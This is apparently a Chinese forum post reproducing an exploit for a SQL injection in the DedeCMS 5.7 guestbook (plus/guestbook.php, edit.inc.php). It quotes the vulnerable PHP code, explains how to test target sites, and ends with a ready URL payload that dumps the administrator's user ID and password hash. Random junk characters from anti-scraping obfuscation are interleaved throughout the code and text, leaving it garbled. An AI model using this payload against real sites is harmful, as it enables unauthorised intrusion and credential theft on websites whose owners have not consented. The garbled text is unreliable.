dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
2 X7 o# u' J2 f, J! N4 b/ K( f- q+ I
) b. Z% d- |8 {7 ~% m# c7 i漏洞文件edit.inc.php具体代码：

$ i( `) G6 F" g$ O# I" @9 t% B  h6 H< ?php  

if(!defined('DEDEINC')) exit('Request Error!');  

   

: L+ h% u, C: R0 o6 ~if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
# n, Z0 d& ~/ d' T& e% f; P- i
else $GUEST_BOOK_POS = "guestbook.php";  

) ]3 s4 Q8 @" ]! g! H   

! {0 U# b& p0 L9 G$id = intval($id);  

: d/ r. `1 p0 ?4 `& z" h8 aif(empty($job)) $job='view';  
6 T7 k4 ?. r& G+ x1 d) Z( V' c
+ q, i  Q, [6 \; H; X   

& M: V  q0 q3 r# Xif($job=='del' && $g_isadmin)  
5 ^$ c7 g4 L$ }. {' z& R- b- x
1 x9 X, D# M; ~9 b6 Z$ |0 }{  
, ^/ D4 @5 b4 d0 N) m' w
4 f- I% F. G& ?' m$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  

ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

exit();  
; G" |! [5 a) ~
}  

, B0 l) i+ x: Y7 I3 ]& {5 Helse if($job=='check' && $g_isadmin)  
( \. y0 f2 @0 ?7 R
{  
1 [3 Q7 q8 E6 n; ~
( Q9 P1 \+ q2 }1 k$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
* N& K9 @1 S6 _3 l* f6 B
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
' Z* S  z5 X: v5 S: i
9 \& M& J7 v/ E: E8 eexit();  
" {6 x; }7 U3 N3 b8 `' ~6 [
}  
. ?2 w" t: W2 E6 i3 s$ i" P# ^1 H
else if($job=='editok')  

4 g; _' c: m% A) h; r. v& p* d- ~{  

$remsg = trim($remsg);  
( f. V( D; C; a% i; H# y
if($remsg!='')  

{  

//管理员回复不过滤HTML By:Errorera blog:errs.cc  
9 h; E" H0 g" Y; l0 k3 i
if($g_isadmin)  

{  

' j/ C, m: y( D% C$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

! S9 Q& f# G0 d  e7 v( y) |2 H3 a//$remsg <br /><font color=red>管理员回复：</font> }  
$ ?) k" }5 f+ S6 p: m9 [
) Y, x2 G1 g1 m8 E) ~& Oelse

& Q. u4 H+ @% M4 c3 b1 y6 v( [( x{  
1 y" n& X* ]* \4 q1 L2 ~: V0 v" }8 f
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  

; U/ j: {4 ]) }1 A( J9 v$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

* g$ ]5 T5 s5 J! ~; i" c6 }* \7 U$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

$msg = $oldmsg.$remsg;  
: S) u: C( W  C6 v1 l. g
( c" x' \! l3 m- q4 C0 r}  

0 m0 i9 v  Y" }5 ~  k6 p" p}  
8 ?2 T& D# b$ c1 s" r
  V7 u% D. u- C- a3 L) L//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
- N; j7 [5 P" T) J' f3 Y
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

2 `3 H+ Z' q7 l& `+ ]/ q3 l2 @+ ^7 aShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

exit();  

}  
& }4 X+ C$ n6 o5 m4 v: z# ?! U3 `
( t! S8 s/ H5 G; }; r; b//home:www.errs.cc  
9 S$ D9 Y/ A8 e1 a2 K- t1 r
if($g_isadmin)  
4 R8 i6 }2 |9 L$ o  m/ S
{  

1 q$ d; @; z+ f$ N$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  
+ G9 {1 R: L9 @+ i4 E/ M
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

/ o& ~# j4 `* |) R1 P( V9 Q  b}  
1 s6 A& s8 R/ m2 r5 O
else
3 W; v7 D# ~, a5 w* o4 D" L
{  

$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 z/ [& o. ~$ e+ v
2 r3 V7 R: d; I, b# R  Lrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
8 z2 I, X- D  G5 c
& p5 a. s# b1 n; A3 k} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

+ u8 \/ z2 p2 ^. H怎么判断是否存在漏洞：
5 ^) E0 i0 k9 `. e9 a先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
1 t8 S) ~% r5 g
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
1 A" }7 G3 r( M# e
- ~! f* u& P$ d% ^
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
* Z3 A1 F8 M$ e' e1 z% L$ m如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
, p  f( ]& a  ?8 i- |( L那么再次访问

7 A& h7 Y& h: P9 e) ?4 @www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

大概利用就是这样，大家有兴趣的多研究下！！
$ U, K  y+ e1 Z2 A- u# U
最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
) B+ q9 ]5 r" Z8 ?# Q' p8 w
) a' N  T9 @9 h5 j( t5 qview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='